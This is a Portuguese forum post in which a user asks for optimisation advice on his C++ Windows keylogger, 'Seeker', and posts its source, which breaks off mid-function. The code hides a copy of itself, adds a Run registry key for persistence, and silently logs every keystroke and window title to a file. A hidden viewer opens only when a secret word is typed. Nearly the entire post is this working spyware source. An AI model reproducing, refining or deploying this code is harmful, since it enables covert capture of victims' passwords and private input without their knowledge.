Ir ao conteúdo
  • Cadastre-se
DAVIFN

O que posso melhorar neste código?

Recommended Posts

Pessoal, há uns tempos fiz este programa em C++ (é um programa que armazena as teclas digitadas para depois poder visualizar), e preciso da opinião de vocês sobre a otimização dele, se tem coisas erradas, e como posso melhorar ele. E também há vários comandos legais para quem está começando com C++, segue abaixo o fonte. Para usá-lo, basta você compilar, executar, e, no momento que você digitar a palavra "davifn" no teclado ele abre a janela do usuário.

#include <windows.h>
#include <stdio.h>
#include <time.h>
int TrocarJanelas();
int Semsenha=0;
HWND Textoerro;
HWND Botaotentar;
HWND Bordatentar;
HWND Tentarsenha;
HWND Janelatrocarsenha;
HWND Trocarsenha;
HWND Botaotrocar;
char Novasenha[9999];
char Senhatrocar[]="Senhatrocar";
HWND Bordatrocar;
HWND Inserirnovasenha;
HWND Bordainserirnovasenha;
HWND Trocarsenhatexto;
char Pegarsenha[9999];
enum{FecharsenhaID,OksenhaID,TrocarsenhaID,EntrarTrocarSenha,Tentarnovamente};
HWND hwnd3;
RECT rect;
FILE *Senhaget;
HWND Janelasenha;
char Senharecebida[9999];
char Senharecebidacorreta[9999];
HFONT hFont;
HWND Bordajanela;
HWND Bordajanela2;
HWND Bordajanela3;
HWND Bordajanela4;
HWND Janela;
HWND hwnd2;
char Senhafile[9999];
HWND Fecharsenha;
HWND Botaofechar;
HWND Bordafechar;
HWND Oksenha;
HWND Botaook;
HWND Bordaok;
HWND Inserirsenha;
HWND Bordainserirsenha;
HWND Textosenha;
char senhafile[9999];
HWND Janelacomplemento2;
HWND Janelacomplemento;
HDC Cores;
HWND Trocardesenhaseeker;
HWND Fecharseeker;
HWND Fecharbotao;
HWND Fecharbotao2;
HWND Trocardesenhabotao;
HWND Trocardesenhabotao2;
HWND TeclasDigitadas;
HWND Bordateclasdigitadas;
HWND Criadopordavifn;
char Data[9999];
HANDLE hToken;
char Executar[9999];
time_t LocalizarData;
char* homedrivelresult;
struct tm *local;
char* homedrivejanela;
MSG messages;
FILE*senhafi;
char texto[99999];
int Recebergravacoes;
char Seekergravar[99999];
char textoimprimir[99999];
enum{FecharID,TrocardesenhaID};
char Janelaativa[99999];
FILE *SeekerFILE;
int Senha;
char Janelaativanomomento[99999];
char Naorepetimentodajanela[99999];
HWND hwnd;
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK WindowProcedure2 (HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK WindowProcedure3 (HWND, UINT, WPARAM, LPARAM);
PAINTSTRUCT ps;
char Copiar[99999];
HWND Janelafocalizada;
char* homedrive;
HDC hdc;
char SEEKER[9999];
char teclasdigit[99999];
char Key[9999];
char teclas[99999];
int tecla;
WNDCLASSEX wincl;
char Seeker[]="Seeker";
int Recebersenhadoarquivo;
char Senhainicial[]="Senhainicial";
char File[99999];
FILE *Fileput;
int WINAPI WinMain(HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
homedrive=getenv("homedrive");
strcpy(Copiar,homedrive);
strcat(Copiar,"\\*.exe");
GetModuleFileName(NULL,SEEKER,9999);
if(CopyFile(SEEKER,Copiar,0)){SetFileAttributes(Copiar,FILE_ATTRIBUTE_HIDDEN);}
strcpy(File,homedrive);
strcat(File,"\\Seeker.txt");
Fileput=fopen(File,"a+");
if(Fileput==NULL){ExitProcess(1);}
else{fclose(Fileput);}
char Key[9999];
strcpy(Key, homedrive);
strcat(Key, "\\*.exe");
HKEY SeekerREG;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&SeekerREG);
RegSetValueEx(SeekerREG,"Seeker",0,1,(LPBYTE)Key,22);
RegCloseKey(SeekerREG);
time(&LocalizarData);
local=localtime(&LocalizarData);
strftime(Data,9999,"%d/%m/%y",local);
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ %s ]\n\n",Data);
fclose(Fileput);
homedrivejanela=getenv("homedrive");
strcpy(Senhafile,homedrive);
strcat(Senhafile,"\\SKSN.txt");
Senhaget=fopen(Senhafile,"rb");
if(Senhaget==NULL){Semsenha=1;}
else
{
while((Recebersenhadoarquivo=fgetc(Senhaget))!= EOF)
{
sprintf(Senharecebida,"%c",Recebersenhadoarquivo);
strcat(Senharecebidacorreta,Senharecebida);
}
if(strcmp(Senharecebidacorreta,"")==0)Semsenha=1;
}
while(1)
{
_sleep(1);
for(tecla=0;tecla<=255;tecla++)
if(GetAsyncKeyState(tecla)==-32767)
{
Janelafocalizada = GetForegroundWindow();
if (NULL != Janelafocalizada)
{
GetWindowText(Janelafocalizada, Janelaativanomomento,sizeof(Janelaativanomomento));
if(strcmp(Janelaativanomomento,"") == 0){}
else if(strcmp(Janelaativanomomento,Naorepetimentodajanela) != 0)
{
strcpy(Naorepetimentodajanela,Janelaativanomomento);
sprintf(Janelaativanomomento,"[ %s ]",Naorepetimentodajanela);
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n%s\n\n",Janelaativanomomento);
fclose(Fileput);
}
}
if(tecla==190)
{
Senha=0;
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,">");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,".");
fclose(Fileput);
}
}
else if(tecla==46)
{
Senha=0;
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Delete ]\n\n");
fclose(Fileput);
}
else if(tecla==45)
{
Senha=0;
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Insert ]\n\n");
fclose(Fileput);
}
else if(tecla==40)
{
Senha=0;
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Baixo ]\n\n");
fclose(Fileput);
}
else if(tecla==39)
{
Senha=0;
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Direita ]\n\n");
fclose(Fileput);
}
else if((tecla>=39)&&(tecla<=64))
if(GetAsyncKeyState(VK_SHIFT))
{
Senha=0;
switch(tecla)
{
case 0x30:
Fileput=fopen(File,"a+");
fprintf(Fileput,")");
fclose(Fileput);
break;
case 0x31:
Fileput=fopen(File,"a+");
fprintf(Fileput,"!");
fclose(Fileput);
break;
case 0x32:
Fileput=fopen(File,"a+");
fprintf(Fileput,"@");
fclose(Fileput);
break;
case 0x33:
Fileput=fopen(File,"a+");
fprintf(Fileput,"#");
fclose(Fileput);
break;
case 0x34:
Fileput=fopen(File,"a+");
fprintf(Fileput,"$");
fclose(Fileput);
break;
case 0x35:
Fileput=fopen(File,"a+");
fprintf(Fileput,"%%");
fclose(Fileput);
break;
case 0x36:
Fileput=fopen(File,"a+");
fprintf(Fileput,"¨");
fclose(Fileput);
break;
case 0x37:
Fileput=fopen(File,"a+");
fprintf(Fileput,"&");
fclose(Fileput);
break;
case 0x38:
Fileput=fopen(File,"a+");
fprintf(Fileput,"*");
fclose(Fileput);
break;
case 0x39:
Fileput=fopen(File,"a+");
fprintf(Fileput,"(");
fclose(Fileput);
break;
}
}
else
{
Senha=0;
Fileput=fopen(File,"a+");
fprintf(Fileput,"%c",tecla);
fclose(Fileput);
}
else if((tecla>64)&&(tecla<91))
{
if(tecla==68||Senha==1||Senha==2||Senha==3||Senha==4||Senha==5)
{
if(Senha==5&&tecla==78) Senha=6;
else if(Senha==5) Senha=0;
if(Senha==4&&tecla==70) Senha=5;
else if(Senha==4) Senha=0;
if(Senha==3&&tecla==73) Senha=4;
else if(Senha==3) Senha=0;
if(Senha==2&&tecla==86) Senha=3;
else if(Senha==2) Senha=0;
if(Senha==1&&tecla==65) Senha=2;
else if(Senha==1) Senha=0;
if(tecla==68) Senha=1;
}
if(!GetAsyncKeyState(VK_SHIFT))
{
if((GetKeyState(VK_CAPITAL)&0x0001)!=0){} else tecla+=32;
}
else if((GetKeyState(VK_CAPITAL)&0x0001)!=0) tecla+=32;
Fileput=fopen(File,"a+");
fprintf(Fileput,"%c",tecla);
fclose(Fileput);
if(Senha==6)
{
wincl.lpszClassName = Senhatrocar;
wincl.lpfnWndProc = WindowProcedure3;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_WINDOW+1;
if (!RegisterClassEx (&wincl))
return 0;
hwnd3 = CreateWindowEx (
0,
Senhatrocar,
"Seeker",
WS_POPUP,
(GetSystemMetrics(SM_CXSCREEN)-500)/2,
(GetSystemMetrics(SM_CYSCREEN)-350)/2,
500,
300,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
ShowWindow(hwnd3,SW_HIDE);
wincl.lpszClassName = Senhainicial;
wincl.lpfnWndProc = WindowProcedure2;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_WINDOW+1;
if (!RegisterClassEx (&wincl))
return 0;
hwnd2 = CreateWindowEx (
0,
Senhainicial,
"Seeker",
WS_POPUP,
(GetSystemMetrics(SM_CXSCREEN)-500)/2,
(GetSystemMetrics(SM_CYSCREEN)-350)/2,
500,
300,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
wincl.hInstance = hThisInstance;
wincl.lpszClassName = Seeker;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) 0;
if (!RegisterClassEx (&wincl))
return 0;
hwnd = CreateWindowEx (
0,
Seeker,
"Seeker",
WS_POPUP,
(GetSystemMetrics(SM_CXSCREEN)-995)/2,
(GetSystemMetrics(SM_CYSCREEN)-600)/2,
1000,
600,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
Janelatrocarsenha=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,5,5,490,290,hwnd3,NULL,hThisInstance,NULL);
Trocarsenha=CreateWindow("BUTTON","",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,185,175,130,60,hwnd3,HMENU(TrocarsenhaID),NULL, NULL);
Botaotrocar=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,185,175,130,60,hwnd3,NULL,hThisInstance,NULL);
Bordatrocar=CreateWindow("STATIC","\n Trocar",WS_CHILD|WS_VISIBLE,190,180,120,50,hwnd3,NULL,hThisInstance,NULL);
Bordainserirnovasenha=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,120,115,260,25,hwnd3,NULL,hThisInstance,NULL);
Inserirnovasenha=CreateWindow("EDIT",NULL,WS_CHILD | WS_VISIBLE | ES_PASSWORD, 125,120,250,15,hwnd3,(HMENU) 11,(HINSTANCE) GetWindowLong(hwnd3, GWL_HINSTANCE),NULL);
Trocarsenhatexto=CreateWindow("STATIC","\n Seeker\n\n Digite sua nova senha",WS_CHILD|WS_VISIBLE,160,20,200,80,hwnd3,NULL,hThisInstance,NULL);
Janelasenha=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,5,5,490,290,hwnd2,NULL,hThisInstance,NULL);
Fecharsenha=CreateWindow("BUTTON","",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,270,175,130,60,hwnd2,HMENU(FecharsenhaID),NULL, NULL);
Botaofechar=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,270,175,130,60,hwnd2,NULL,hThisInstance,NULL);
Bordafechar=CreateWindow("STATIC","\n Fechar",WS_CHILD|WS_VISIBLE,275,180,120,50,hwnd2,NULL,hThisInstance,NULL);
Oksenha=CreateWindow("BUTTON","",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,100,175,130,60,hwnd2,HMENU(OksenhaID),NULL, NULL);
Botaook=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,100,175,130,60,hwnd2,NULL,hThisInstance,NULL);
Bordaok=CreateWindow("STATIC","\n OK",WS_CHILD|WS_VISIBLE,105,180,120,50,hwnd2,NULL,hThisInstance,NULL);
Bordainserirsenha=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,120,115,260,25,hwnd2,NULL,hThisInstance,NULL);
Inserirsenha=CreateWindow("EDIT",NULL,WS_CHILD | WS_VISIBLE | ES_PASSWORD, 125,120,250,15,hwnd2,(HMENU) 11,(HINSTANCE) GetWindowLong(hwnd2, GWL_HINSTANCE),NULL);
Textosenha=CreateWindow("STATIC","\n Seeker\n\n Digite sua senha",WS_CHILD|WS_VISIBLE,175,20,200,80,hwnd2,NULL,hThisInstance,NULL);
Textoerro=CreateWindow("STATIC","\n Seeker\n\n A senha inserida está incorreta! \n\n Lembre-se de verificar se Caps Lock está ativo!",WS_CHILD,80,20,350,140,hwnd2,NULL,hThisInstance,NULL);
Tentarsenha=CreateWindow("BUTTON","",WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,185,175,130,60,hwnd2,HMENU(Tentarnovamente),NULL, NULL);
Botaotentar=CreateWindow("STATIC","",WS_CHILD,185,175,130,60,hwnd2,NULL,hThisInstance,NULL);
Bordatentar=CreateWindow("STATIC","\n OK",WS_CHILD,190,180,120,50,hwnd2,NULL,hThisInstance,NULL);
Bordajanela2=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,0,0,350,210,hwnd,NULL,hThisInstance,NULL);
Bordajanela=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,350,110,650,490,hwnd,NULL,hThisInstance,NULL);
Bordajanela3=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,0,0,1000,5,hwnd,NULL,hThisInstance,NULL);
Bordajanela4=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,995,5,5,600,hwnd,NULL,hThisInstance,NULL);
Janela=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,355,75,640,520,hwnd,NULL,hThisInstance,NULL);
Janelacomplemento=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,5,5,350,200,hwnd,NULL,hThisInstance,NULL);
Janelacomplemento2=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,355,5,640,25,hwnd,NULL,hThisInstance,NULL);
Bordateclasdigitadas=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,420,105,507,430,hwnd,NULL,hThisInstance,NULL);
TeclasDigitadas=CreateWindow("EDIT",
NULL,
WS_CHILD | WS_VISIBLE | WS_VSCROLL |
ES_LEFT | ES_AUTOVSCROLL | ES_MULTILINE,
425,110,497,420,
hwnd,
NULL,
(HINSTANCE)GetWindowLong(hwnd,GWL_HINSTANCE),
NULL);
Trocardesenhaseeker=CreateWindow("BUTTON","",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,45,100,130,60,hwnd,HMENU(EntrarTrocarSenha),NULL, NULL);
Trocardesenhabotao=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,45,100,130,60,hwnd,NULL,hThisInstance,NULL);
Trocardesenhabotao2=CreateWindow("STATIC","\n Trocar de Senha",WS_CHILD|WS_VISIBLE,50,105,120,50,hwnd,NULL,hThisInstance,NULL);
Fecharseeker=CreateWindow("BUTTON","",WS_VISIBLE|WS_CHILD|BS_PUSHBUTTON|BS_OWNERDRAW,200,100,130,60,hwnd,HMENU(FecharID),NULL, NULL);
Fecharbotao=CreateWindow("STATIC","",WS_CHILD|WS_VISIBLE,200,100,130,60,hwnd,NULL,hThisInstance,NULL);
Fecharbotao2=CreateWindow("STATIC","\n Fechar",WS_CHILD|WS_VISIBLE,205,105,120,50,hwnd,NULL,hThisInstance,NULL);
Criadopordavifn=CreateWindow("STATIC","Criado por\n DAVIFN",WS_CHILD|WS_VISIBLE,153,45,100,50,hwnd,NULL,hThisInstance,NULL);
SeekerFILE=fopen(File,"rb");
if(SeekerFILE==NULL) fopen(File,"wb");
else
{
while((Recebergravacoes=fgetc(SeekerFILE))!= EOF)
{
sprintf(texto,"%c",Recebergravacoes);
strcat(textoimprimir,texto);
}
SetWindowText(TeclasDigitadas,textoimprimir);
fclose(SeekerFILE);
}
if(Semsenha==1)ShowWindow(hwnd,SW_NORMAL);
else ShowWindow(hwnd2,SW_NORMAL);
while (GetMessage (&messages, NULL, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
}
}
else
{
Senha=0;
switch(tecla)
{
case 32:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Espaço ]\n\n");
fclose(Fileput);
break;
case 13:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Enter ]\n\n");
fclose(Fileput);
break;
case 8:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Back Space ]\n\n");
fclose(Fileput);
break;
case 9:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Tab ]\n\n");
fclose(Fileput);
break;
case 17:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Control ]\n\n");
fclose(Fileput);
break;
case VK_MENU:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Alt ]\n\n");
fclose(Fileput);
break;
case VK_CAPITAL:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Caps Lock ]\n\n");
fclose(Fileput);
break;
case VK_ESCAPE:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Esc ]\n\n");
fclose(Fileput);
break;
case 35:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ End ]\n\n");
fclose(Fileput);
break;
case 36:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Home ]\n\n");
fclose(Fileput);
break;
case 33:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Page Up ]\n\n");
fclose(Fileput);
break;
case 34:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Page Down ]\n\n");
fclose(Fileput);
break;
case 44:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Print Screen ]\n\n");
fclose(Fileput);
break;
case 145:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Scroll Lock ]\n\n");
fclose(Fileput);
break;
case 83:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Pause ]\n\n");
fclose(Fileput);
break;
case 144:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Num Lock ]\n\n");
fclose(Fileput);
break;
case 111:
Fileput=fopen(File,"a+");
fprintf(Fileput,"/");
fclose(Fileput);
break;
case 106:
Fileput=fopen(File,"a+");
fprintf(Fileput,"*");
fclose(Fileput);
break;
case 109:
Fileput=fopen(File,"a+");
fprintf(Fileput,"-");
fclose(Fileput);
break;
case 107:
Fileput=fopen(File,"a+");
fprintf(Fileput,"+");
fclose(Fileput);
break;
case 194:
Fileput=fopen(File,"a+");
fprintf(Fileput,".");
fclose(Fileput);
break;
case 110:
Fileput=fopen(File,"a+");
fprintf(Fileput,",");
fclose(Fileput);
break;
case 37:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Esquerda ]\n\n");
fclose(Fileput);
break;
case 38:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Cima ]\n\n");
fclose(Fileput);
break;
case 91:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Tecla Windows ]\n\n");
fclose(Fileput);
break;
case 92:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Tecla Windows ]\n\n");
fclose(Fileput);
break;
case 112:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F1 ]\n\n");
fclose(Fileput);
break;
case 113:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F2 ]\n\n");
fclose(Fileput);
break;
case 114:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F3 ]\n\n");
fclose(Fileput);
break;
case 115:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F4 ]\n\n");
fclose(Fileput);
break;
case 116:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F5 ]\n\n");
fclose(Fileput);
break;
case 117:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F6 ]\n\n");
fclose(Fileput);
break;
case 118:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F7 ]\n\n");
fclose(Fileput);
break;
case 119:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F8 ]\n\n");
fclose(Fileput);
break;
case 120:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F9 ]\n\n");
fclose(Fileput);
break;
case 121:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F10 ]\n\n");
fclose(Fileput);
break;
case 122:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F11 ]\n\n");
fclose(Fileput);
break;
case 123:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ F12 ]\n\n");
fclose(Fileput);
break;
case VK_NUMPAD0:
Fileput=fopen(File,"a+");
fprintf(Fileput,"0");
fclose(Fileput);
break;
case VK_NUMPAD1:
Fileput=fopen(File,"a+");
fprintf(Fileput,"1");
fclose(Fileput);
break;
case VK_NUMPAD2:
Fileput=fopen(File,"a+");
fprintf(Fileput,"2");
fclose(Fileput);
break;
case VK_NUMPAD3:
Fileput=fopen(File,"a+");
fprintf(Fileput,"3");
fclose(Fileput);
break;
case VK_NUMPAD4:
Fileput=fopen(File,"a+");
fprintf(Fileput,"4");
fclose(Fileput);
break;
case VK_NUMPAD5:
Fileput=fopen(File,"a+");
fprintf(Fileput,"5");
fclose(Fileput);
break;
case VK_NUMPAD6:
Fileput=fopen(File,"a+");
fprintf(Fileput,"6");
fclose(Fileput);
break;
case VK_NUMPAD7:
Fileput=fopen(File,"a+");
fprintf(Fileput,"7");
fclose(Fileput);
break;
case VK_NUMPAD8:
Fileput=fopen(File,"a+");
fprintf(Fileput,"8");
fclose(Fileput);
break;
case VK_NUMPAD9:
Fileput=fopen(File,"a+");
fprintf(Fileput,"9");
fclose(Fileput);
break;
case 188:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"<");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,",");
fclose(Fileput);
}
break;
case 220:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"}");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"]");
fclose(Fileput);
}
break;
case 221:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"{");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"[");
fclose(Fileput);
}
break;
case 226:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"|");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"\\");
fclose(Fileput);
}
break;
case 189:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"_");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"-");
fclose(Fileput);
}
break;
case 187:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"+");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"=");
fclose(Fileput);
}
break;
case 192:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"\"");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"'");
fclose(Fileput);
}
break;
case 191:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,":");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,";");
fclose(Fileput);
}
break;
case 193:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"?");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"/");
fclose(Fileput);
}
break;
case 219:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"`");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"´");
fclose(Fileput);
}
break;
case 222:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"^");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"~");
fclose(Fileput);
}
break;
case 186:
if(GetAsyncKeyState(VK_SHIFT))
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"Ç");
fclose(Fileput);
}
else
{
Fileput=fopen(File,"a+");
fprintf(Fileput,"ç");
fclose(Fileput);
}
break;
case VK_SHIFT:
Fileput=fopen(File,"a+");
fprintf(Fileput,"\n\n[ Shift ]\n\n");
fclose(Fileput);
break;
default:
break;
}
}
}
}
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
switch(wParam)
{
case FecharID:
GetWindowText(TeclasDigitadas,teclas,99999);
homedrivelresult=getenv("homedrive");
strcat(teclas,teclasdigit);
Fileput=fopen(File,"wb");
if(Fileput==NULL) ExitProcess(1);
else
{
fprintf(Fileput,teclas);
fclose(Fileput);
}

ShowWindow(hwnd,SW_HIDE);
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar,"\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
break;
case EntrarTrocarSenha:
ShowWindow(hwnd,SW_HIDE);
ShowWindow(hwnd3,SW_NORMAL);
break;
}
break;
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);
hFont = CreateFont(48,0,0,0,FW_DONTCARE,FALSE,FALSE,FALSE,DEFAULT_CHARSET,OUT_OUTLINE_PRECIS,
CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY, VARIABLE_PITCH,TEXT("Impact"));
SelectObject(hdc,hFont);
SetRect(&rect, 355, 30, 500, 100);
SetTextColor(hdc, RGB(0,0,0));
DrawText(hdc, TEXT(" Seeker "), -1,&rect, DT_NOCLIP);
EndPaint(hwnd, &ps);
break;
case WM_CTLCOLORSTATIC:
Cores=(HDC)wParam;
if((HWND)lParam==Bordajanela)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordajanela2)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordajanela3)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordajanela4)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Janela)
{
SetTextColor((HDC)wParam,RGB(255,255,255));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Janelacomplemento)
{
SetTextColor((HDC)wParam,RGB(255,255,255));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Janelacomplemento2)
{
SetTextColor((HDC)wParam,RGB(255,255,255));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Bordateclasdigitadas)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Trocardesenhabotao)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Trocardesenhabotao2)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Fecharbotao)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Fecharbotao2)
{
